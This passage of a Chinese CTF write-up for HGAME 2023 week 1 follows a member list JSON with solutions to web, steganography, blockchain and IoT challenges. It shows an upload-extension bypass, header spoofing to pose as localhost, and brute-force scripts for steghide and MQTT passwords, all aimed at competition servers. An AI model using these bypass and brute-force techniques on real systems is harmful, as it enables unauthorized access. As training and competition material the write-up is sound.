        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=AJQ9RJRCavhSibMZtRq2JOQ&s=640",
        "url": "https://github.red/"
    },
    {
        "id": "Michael",
        "intro": "18 级 / Java / 会除我佬",
        
        "url": "http://michaelsblog.top/"
    },
    {
        "id": "matrixtang",
        "intro": "18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向",
        
        "url": "#"
    },
    {
        "id": "r4u",
        "intro": "18级 / 不可以摸哦",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rJCqQv1EzicpDW77nMa5bYw&s=640",
        "url": "http://r4u.top/"
    },
    {
        "id": "357",
        "intro": "18级 / 并不会web / 端茶送水选手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=POaV9Y85NiaUcibaETEKTpfw&s=640",
        "url": "#"
    },
    {
        "id": "Li4n0",
        "intro": "17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友",
        
        "url": "https://blog.0e1.top"
    },
    {
        "id": "迟原静",
        "intro": "17级 / Focus on Java Security",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=xyVPFvQ2dWReoBiahd7naSw&s=640",
        "url": "#"
    },
    {
        "id": "Ch1p",
        "intro": "17 级 / 自称 Bin 手实际啥都不会 / 二次元安全",
        
        "url": "http://ch1p.top"
    },
    {
        "id": "f1rry",
        "intro": "17 级 / Web",
        
        "url": "#"
    },
    {
        "id": "mian",
        "intro": "17 级 / 业余开发 / 专业摸鱼",

        "url": "https://www.intmian.com"
    },
    {
        "id": "ACce1er4t0r",
        "intro": "17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=gRBlwiawx1lF4UkPKh4Liczg&s=640",
        "url": "#"
    },
    {
        "id": "MiGo",
        "intro": "17级 / 二战人 / 老二次元 / 兴趣驱动生活",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=XzZggL7hDeicLXb2FSic6sfg&s=640",
        "url": "https://migoooo.github.io/"
    },
    {
        "id": "BrownFly",
        "intro": "17级 / RedTeamer / 字节跳动安全工程师",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EnNslsFelj9HibuKoNHwmyg&s=640",
        "url": "https://brownfly.github.io"
    },
    {
        "id": "Aris",
        "intro": "17级/ Key厨 / 腾讯玄武倒水的",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=anjeaJmx1X79Yp1DNxWrRA&s=640",
        "url": "https://blog.ar1s.top"
    },
    {
        "id": "hsiaoxychen",
        "intro": "17级 / 游戏厂打工仔 / 来深圳找我快活",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=YGiaicyZ3NkWfOoGOlLPWvAw&s=640",
        "url": "https://chenxy.me"
    },
    {
        "id": "Lou00",
        "intro": "17级 / web / 东南读研",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=fdAMuUicvOObMv3eZC8y0Ew&s=640",
        "url": "https://blog.lou00.top"
    },
    {
        "id": "Junier",
        "intro": "16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献",
        
        "url": "#"
    },
    {
        "id": "bigmud",
        "intro": "16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制",
        
        "url": "#"
    },
    {
        "id": "NeverMoes",
        "intro": "16 级 / Java 福娃 / 上班 996 / 下班 669",
        "url": "#"
    },
    {
        "id": "Sora",
        "intro": "16 级 / Web Developer",
        "url": "https://github.com/Last-Order"
    },
    {
        "id": "fantasyqt",
        "intro": "16 级 / 可能会运维 / 摸鱼选手",
        "url": "http://0x2f.xyz"
    },
    {
        "id": "vvv_347",
        "intro": "16 级 / Rev / Windows / Freelancer",
        "url": "https://vvv-347.space"
    },
    {
        "id": "veritas501",
        "intro": "16 级 / Bin / 被迫研狗",
        "url": "https://veritas501.space"
    },
    {
        "id": "LuckyCat",
        "intro": "16 级 / Web  / 现于长亭科技实习",
        "url": "https://jianshu.com/u/ad5c1e097b84"
    },
    {
        "id": "Ash",
        "intro": "16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死",
        "url": "#"
    },
    {
        "id": "Cyris",
        "intro": "16 级 / Web 前端 / 美工 / 阿里云搬砖",
        "avatar": "https://cdn.jsdelivr.net/npm/cyris/images/avatar.png",
        "url": "https://cyris.moe/"
    },
    {
        "id": "Acaleph",
        "intro": "16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒！",
        "url": "#"
    },
    {
        "id": "b0lv42",
        "intro": "16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠",
        "url": "https://b0lv42.github.io/"
    },
    {
        "id": "ngc7293",
        "intro": "16 级 / 蟒蛇饲养员 / 高数小王子",
        "avatar": "../../images/avatar/ngc7293.jpg",
        "url": "https://ngc7292.github.io/"
    },
    {
        "id": "ckj123",
        "intro": "16 级 / Web / 菜鸡第一人",
        "avatar": "../../images/avatar/ckj123.jpg",
        "url": "https://www.ckj123.com"
    },
    {
        "id": "cru5h",
        "intro": "16级 / 前web手、现pwn手 / 菜鸡研究生 / scu",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5kpiaPnLZ1cWrp0G8O4qHDg&s=640",
        "url": "#"
    },
    {
        "id": "xiaoyao52110",
        "intro": "16 级 / Bin 打杂 / 他们说菜都是假的，我是真的",
        "avatar": "../../images/avatar/xiaoyao52110.jpg",
        "url": "#"
    },
    {
        "id": "Undefinedv",
        "intro": "15 级网安协会会长 / Web 安全",
        "avatar": "../../images/avatar/undefinedv.jpg",
        "url": "#"
    },
    {
        "id": "Spine",
        "intro": "逆向 / 二进制安全",
        "avatar": "../../images/avatar/spine.jpg",
        "url": "#"
    },
    {
        "id": "Tata",
        "intro": "二进制 CGC 入门水准 / 半吊子爬虫与反爬虫",
        "avatar": "../../images/avatar/tata.jpg",
        "url": "#"
    },
    {
        "id": "Airbasic",
        "intro": "Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三",
        "avatar": "../../images/avatar/airbasic.jpg",
        "url": "#"
    },
    {
        "id": "jibo",
        "intro": "15 级 / 什么都不会的开发 / 打什么都菜",
        "avatar": "../../images/avatar/jibo.jpg",
        "url": "#"
    },
    {
        "id": "Processor",
        "intro": "15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜",
        "avatar": "../../images/avatar/Processor.jpeg",
        "url": "https://processor.pub/"
    },
    {
        "id": "HeartSky",
        "intro": "15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出",
        "avatar": "../../images/avatar/heartsky.jpg",
        "url": "http://heartsky.info"
    },
    {
        "id": "Minygd",
        "intro": "15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅",
        "avatar": "../../images/avatar/mingy.jpg",
        "url": "#"
    },
    {
        "id": "Yotubird",
        "intro": "15 级 / 已入 Python 神教",
        "avatar": "../../images/avatar/Yotubird.png",
        "url": "#"
    },
    {
        "id": "c014",
        "intro": "15 级 / Web  / 汪汪汪",
        "avatar": "../../images/avatar/c014.png",
        "url": "#"
    },
    {
        "id": "Explorer",
        "intro": "14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研",
        "avatar": "../../images/avatar/Explorer.jpg",
        "url": "#"
    },
    {
        "id": "Aklis",
        "intro": "14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师",
        "avatar": "../../images/avatar/aklis.jpg",
        "url": "#"
    },
    {
        "id": "Sysorem",
        "intro": "14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾",
        "avatar": "../../images/avatar/sysorem.jpg",
        "url": "#"
    },
    {
        "id": "Hcamael",
        "intro": "13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞，密码学，区块链都看得懂一点，但啥也不会",
        "avatar": "../../images/avatar/hcamael.jpg",
        "url": "#"
    },
    {
        "id": "LoRexxar",
        "intro": "14 级 / Web  / 杭电江流儿 / 自走棋主教守门员",
        "avatar": "../../images/avatar/lorexxar.jpg",
        "url": "https://lorexxar.cn/"
    },
    {
        "id": "A1ex",
        "intro": "14 级网安协会副会长 / Web 安全",
        "avatar": "../../images/avatar/alex.jpg",
        "url": "#"
    },
    {
        "id": "Ahlaman",
        "intro": "14 级网安协会副会长 / 无线安全",
        "avatar": "../../images/avatar/ahlaman.jpg",
        "url": "#"
    },
    {
        "id": "lightless",
        "intro": "Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究",
        "avatar": "../../images/avatar/lightless.jpg",
        "url": "https://lightless.me/"
    },
    {
        "id": "Edward_L",
        "intro": "13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全，fuzz，符号执行方向研究",
        "avatar": "../../images/avatar/edward_L.jpg",
        "url": "#"
    },
    {
        "id": "逆风",
        "intro": "13 级菜鸡 / 大数据打杂",
        "avatar": "../../images/avatar/deadwind4.jpeg",
        "url": "https://github.com/deadwind4"
    },
    {
        "id": "陈斩仙",
        "intro": "什么都不会 / 咸鱼研究生 / 安恒、长亭 / SJTU",
        "avatar": "../../images/avatar/chenzhanxian.jpg",
        "url": "https://mxgcccc4.github.io/"
    },
    {
        "id": "Eric",
        "intro": "渗透 / 人工智能 / 北师大博士在读",
        "avatar": "../../images/avatar/eric.jpg",
        "url": "https://3riccc.github.io"
    }
]

getQuestion = 'http://week-1.hgame.lwsec.cn:32240/api/getQuestion'
verifyAnswer = 'http://week-1.hgame.lwsec.cn:32240/api/verifyAnswer'
getScore = 'http://week-1.hgame.lwsec.cn:32240/api/getScore'

import requests
s = requests.Session()

for i in range(100):
	r=s.get(getQuestion)
	r=eval(r.text)
	print(r['message'])
	for i in ans:
		if i['intro'] == r['message']:
			print(i['id'])
			id=i['id']
			break
	r=s.post(verifyAnswer,{'id':id})
	print(r.text)
	r=s.get(getScore)
	print(r.text)

score达到100的时候getScore会返回flag

3、Show Me Your Beauty

登陆了之前获取的会员账号之后，兔兔想找一张自己的可爱照片，上传到个人信息的头像中 不过好像可以上传些奇怪后缀名的文件诶 XD

可用扩展名大小写绕过，上传.pHp即可。

4、Become A Member

学校通知放寒假啦，兔兔兴高采烈的打算购买回家的车票，这时兔兔发现成为购票网站的会员账户可以省下一笔money…… 想成为会员也很简单，只需要一点点HTTP的知识……等下，HTTP是什么，可以吃吗？

根据提示在http请求中添加相关元素即可：

1、请先提供一下身份证明（Cute-Bunny）哦

User-Agent: Cute-Bunny

2、每一个能够成为会员的顾客们都应该持有名为Vidar的邀请码（code）

Cookie: code=Vidar

3、由于特殊原因，我们只接收来自于bunnybunnybunny.com的会员资格申请

referer: bunnybunnybunny.com1

4、就差最后一个本地的请求，就能拿到会员账号啦

X-Forwarded-For: 127.0.0.1

5、得到账号:username:luckytoday password:happy123（请以json请求方式登陆）返回flag

{
"username":"luckytoday","password":"happy123"
}

misc

1、Sign In

欢迎参加HGAME2023,Base64解码这段Flag，然后和兔兔一起开始你的HGAME之旅吧，祝你玩的愉快！ aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==

base64解密

2、e99p1ant_want_girlfriend

兔兔在抢票网站上看到了一则相亲广告，人还有点小帅，但这个图片似乎有点问题，好像是CRC校验不太正确？

修改文件高度

3、神秘的海报

坐车回到家的兔兔听说ek1ng在HGAME的海报中隐藏了一个秘密…（还记得我们的Misc培训吗？

zsteg看到一段文字

得到flag1：hgame{U_Kn0w_LSB&W

一个网盘地址：https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing

还有提示：Steghide加密，6位密码

下载下来一个wav文件，根据提示，进行是Steghide爆破的密码12345678，同时得到flag2：av^Mp3_Stego}

拼接得到flag：hgame{U_Kn0w_LSB&Wav^Mp3_Stego}

Steghide爆破脚本：

from subprocess import *
import hashlib,string,itertools
stegoFile='Bossanova.wav'
extractFile='hide.txt'
# win
#passFile='D:\\ctf\\ctfhome\\tools\\dict\\top1000.txt'
#cmdFormat = "D:\\ctf\\tools\\隐写\\steghide\\steghide.exe extract -sf %s -xf %s -p %s"    #win

# linux
passFile='/home/wz/ctf/tools/dict/top1000.txt'
cmdFormat = "steghide extract -sf %s -xf %s -p %s"  # linux

def fuu_dic():
    errors = ['could not extract', 'steghide --help', 'Syntax error']
    f = open(passFile, 'r')
    for line in f.readlines():
        cmd = cmdFormat % (stegoFile, extractFile, line.strip())
        p = Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
        content = p.stdout.read().decode()
        print(content)
        for err in errors:
            if err in content:
                break
            else:
                print(content)
                print('the passphrase is %s' % (line.strip()))
                f.close()
                return

def fuu_number(length): 
    dateset = string.ascii_lowercase + string.digits
    dateset = string.digits

    errors = ['could not extract', 'steghide --help', 'Syntax error']

    for item in itertools.product(dateset, repeat=length):
        line = "".join(item)
        cmd = cmdFormat % (stegoFile, extractFile, line)
        p = Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
        content = p.stdout.read().decode()
        print(cmd,content)
        for err in errors:
            if err in content:
                break
            else:
                print(content)
                print('the passphrase is %s' % (line.strip()))
                return

if __name__ == '__main__':
    fuu_dic()
print('end')

4、Where am I

兔兔回家之前去了一个神秘的地方，并拍了张照上传到网盘，你知道他去了哪里吗？ flag格式为: hgame{经度时_经度分_经度秒_东经(E)/西经(W)_纬度时_纬度分_纬度秒_南纬(S)/北纬(N)}，秒精确到小数点后两位 例如: 11°22’33.99’‘E, 44°55’11.00’'S 表示为 hgame{11_22_3399_E_44_55_1100_S}

ATTACHMENTS:

流量日志中提取出rar文件，7zip解压，得到图片，查看属性得到坐标

也可以exiftool查看： 39 deg 54’ 54.18" N, 116 deg 24’ 14.88" E

整理成flag格式，注意先经度，再纬度，hgame{116_24_1488_E_39_54_5418_N}

BlockChain

1、Checkin

题目中给出了三个端口，分别是 RPC、水龙头、题目交互端。 由于靶机端口随机，需要选手自行尝试。 其中，浏览器可直接访问的是水龙头，浏览器直接访问报 403 的是 RPC，浏览器无法访问的是题目交互端，需使用 nc 连接。
week-1.hgame.lwsec.cn:30727 (nc)
week-1.hgame.lwsec.cn:30433 (水龙头)
week-1.hgame.lwsec.cn:32455 (rpc)

这个题绕了一天的时间才解决，之前其他比赛的时候遇到过 但是这次的是私有链，并且没有提供钱包账户，需要自己创建，中间尝试了jsonrpc、Geth客户端等尝试了各种创建账户的函数都不成功，最后查web3.js接口文档发现web3.eth.account.create() 可以。。。返回数据中包含了账户地址和私钥等。
所以先列下题目source, nc访问后有4个菜单 创建账号、构造合约、获取flag、查看源码

wz@u2204:/mnt/d/ctf/ctfhome/tools/sh$ nc week-1.hgame.lwsec.cn 30727
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code

源码：

contracts/checkin.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

contract Checkin {
    string greeting;

    constructor(string memory _greeting)  {
        greeting = _greeting;
    }

    function greet() public view returns (string memory) {
        return greeting;
    }

    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }

    function isSolved() public view returns (bool) {
        string memory expected = "HelloHGAME!";
        return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
    }
}

解题思路很简单 就是调用一下合约的setGreeting方法，参数是HelloHGAME!
先执行菜单1创建账号，然后用水龙头给账号灌个水，然后菜单2构造合约，得到合约地址：
0xAE541aE91E2798E04E8e6Ae198E20e454093c2d3

拿出以前的脚本，发现没有帐户，当然最后找到了创建方法，创建后用水龙头给账户灌点水，然后遇到了使用buildTransaction返回401错误。。。
尝试手动构造交易：

transaction={
  "from": "0xf111ec4C8798Cad7bbF78D517024a7ADece5814c",
 "to": contract_address,
 "gas":"0x100000",
 "gasPrice":"0x2",
 "nonce":nonce,
 "chainId":"0xf810",
 "data": "0xa41368620000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b48656c6c6f4847414d4521000000000000000000000000000000000000000000"
 }

其中data的构造我直接使用Remix 编译源码后部署合约执行 setGreeting(HelloHGAME!)然后复制一下input就是了。
然后用一开始没有加chainId 遇到了only replay-protected (EIP-155) transactions allowed over RPC的错误，在交易中加上chainId就可以了，chainId可以用Geth执行eth.chainId() 或者 web3.eth.chainId获得
最后exp

from web3 import Web3, HTTPProvider
from web3 import Web3
import json

rpc = "http://week-1.hgame.lwsec.cn:32455"
w3 = Web3(Web3.HTTPProvider(rpc))
my_address='0xB13b851de8A6DC156F01a3eab639C85c2d32456F'
prikey='9ebe7712e3f459fe130d24e638058adc33564391b6be56a719cdd783ce703f34'
contract_address = '0xAE541aE91E2798E04E8e6Ae198E20e454093c2d3'
abi='''
[
    
    {
        "inputs": [],
        "name": "greet",
        "outputs": [
            {
                "internalType": "string",
                "name": "",
                "type": "string"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [
            {
                "internalType": "string",
                "name": "_greeting",
                "type": "string"
            }
        ],
        "name": "setGreeting",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]
'''
abi=json.loads(abi)
nonce = w3.eth.get_transaction_count(my_address)
'''
acc = w3.eth.account.create()
print(acc.address)
print(acc.privateKey.hex())
'''
chainid=w3.eth.chainId
print(chainid)
# 实例化合约对象
storage = w3.eth.contract(address=contract_address, abi=abi)

transaction={
 "from": my_address,
 "to": contract_address,
 "gas":"0x100000",
 "gasPrice":"0x1",
 "nonce":nonce,
 "chainId":w3.eth.chainId,
 "data": "0xa41368620000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b48656c6c6f4847414d4521000000000000000000000000000000000000000000"
 }
# 签名
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
# 发送交易
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
print('add new Person to contract...')
# 等待交易完成
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
# 获得people数组中存储的值
result = storage.functions.greet().call()
print(f'get result: {result}')

nc执行3获得flag：

Iot

1、Help the uncle who can’t jump twice

兔兔在车站门口看到一张塑料凳子,上边坐着一个自称V的男人.他希望你能帮他登上他的大号 Vergil 去那边的公告栏上康康Nero手上的YAMATO怎么样了

1、使用提供的字典爆破密码，得到密码power

2、订阅Nero/YAMATO 得到flag

import json 
import sys 
# 引入mqtt包 
import paho.mqtt.client as mqtt 
# 使用独立线程运行 
from threading import Thread 

# 爆破账号
f=open('pass.txt','r')
d=f.read()
f.close()
d=d.split('\n')
print(d[:2])
idx = 0
# 建立mqtt连接 
def on_connect(client, userdata, flag, rc):
    global idx
    if rc == 0: 
        # 连接成功 
        print("Connection successful") 
    elif rc == 1: 
        # 协议版本错误 
        print("Protocol version error") 
    elif rc == 2: 
        # 无效的客户端标识 
        print("Invalid client identity") 
    elif rc == 3: 
        # 服务器无法使用 
        print("server unavailable") 
    elif rc == 4: 
        # 错误的用户名或密码 
        print("Wrong user name or password") 
        client.username_pw_set('Vergil', d[idx]) 
        print('set pass:',d[idx])
        idx+=1
        
    elif rc == 5: 
        # 未经授权 
        print("unaccredited") 
    print("Connect with the result code " + str(rc)) 


    # 订阅频道 
    # client.subscribe('31765425213673472', qos=2) 
# 当与代理断开连接时调用 
def on_disconnect(client, userdata, rc): 
    #  rc == 0回调被调用以响应disconnect（）调用 
    # 如果以任何其他值断开连接是意外的，例如可能出现网络错误。 
    if rc != 0: 
        print("Unexpected disconnection %s" % rc) 


# 当收到关于客户订阅的主题的消息时调用。 
def on_message(client, userdata, msg): 
    print(msg.topic + ":\n" + msg.payload.decode()) 
    #json_msg = json.loads(msg.payload.decode('utf-8')) 
    # 加入个人逻辑 
    pass 

# 当使用使用publish()发送的消息已经传输到代理时被调用。 
def on_publish(client, obj, mid): 
    print("on_Publish, mid: " + str(mid)) 
# 当代理响应订阅请求时被调用 
def on_subscribe(client, userdata, mid, granted_qos): 
    print("on_Subscribed: " + str(mid) + " " + str(granted_qos)) 
# 当代理响应取消订阅请求时调用。 
def on_unsubscribe(client, userdata, mid): 
    print("on_unsubscribe, mid: " + str(mid)) 
# 当客户端有日志信息时调用 
def on_log(client, obj, level, string): 
    print("on_Log:" + string) 

# 启动函数 
def mqtt_run(): 
    # 账号密码验证放到最前面 
    client = mqtt.Client() 
    client.username_pw_set('Vergil', 'power') 
    # client = mqtt.Client() 
    # 建立mqtt连接 
    client.on_connect = on_connect 

    client.on_message = on_message 
    #client.on_subscribe = on_subscribe 
    #client.on_log = on_log 
    # 当与代理断开连接时调用 
    #client.on_disconnect = on_disconnect 
  
    # 绑定 MQTT 服务器地址 
    broker_ip = '117.50.177.240' 
    rc = client.connect(host=broker_ip, port=1883) 
    print(rc)
    client.reconnect_delay_set(min_delay=0, max_delay=0.1) 
    
    topic='Nero/YAMATO'
    client.subscribe(topic)  #订阅话题
    client.loop_forever()
    
if __name__ == "__main__": 
    mqtt_run()

2、Help marvin

兔兔发现售票的marvin只会吐出三个白头 决定去修一修marvin(-30)

Hint: SPI

下载下来是一个.sr文件，经搜索可以使用PulseView打开查看信号

打开后如图

然后就没有了思路，网上搜到sigrok-cli可以显示字符之类的，安装环境挺麻烦没有去试。

过几天及看到提示SPI，在PulseView的解码器中可以搜到一些

选择一个试试，SPI的资料如下：

SPI通常有4根线（四线制），可实现全双工通信
【SCK】: 串行时钟（Serial Clock）
【MOSI】:主发从收信号（Master Output, Slave Input）
【MISO】:主收从发信号（Master Input, Slave Output
【CS/CS】:片选信号（Slave Select）

这一方面没接触过，按顺序选了一下四条线，结果没有输出数据，第四条先不选，可以得到一堆数据[0x34,0x33,0xb0,0xb6,0xb2,0xbd,0x9a,0x2f,0x9a,0xba,0x1a,0x37,0x33,0xb2,0xaf,0xa9,0xb8,0x18,0xbe]
但是经过各种处理都无法转换成可见字符。

最后再多次尝试，片选信号选择D1，输入其实不需要选不选都行，出来的数据明显均是可见字符并且中间含有7B 7D，感觉稳了：

得到：

3467616d657b345f3574346e67655f5370317d

bytes.fromhex("3467616d657b345f3574346e67655f5370317d")
b'4game{4_5t4nge_Sp1}'

提交hgame{4_5t4nge_Sp1}试试，成功。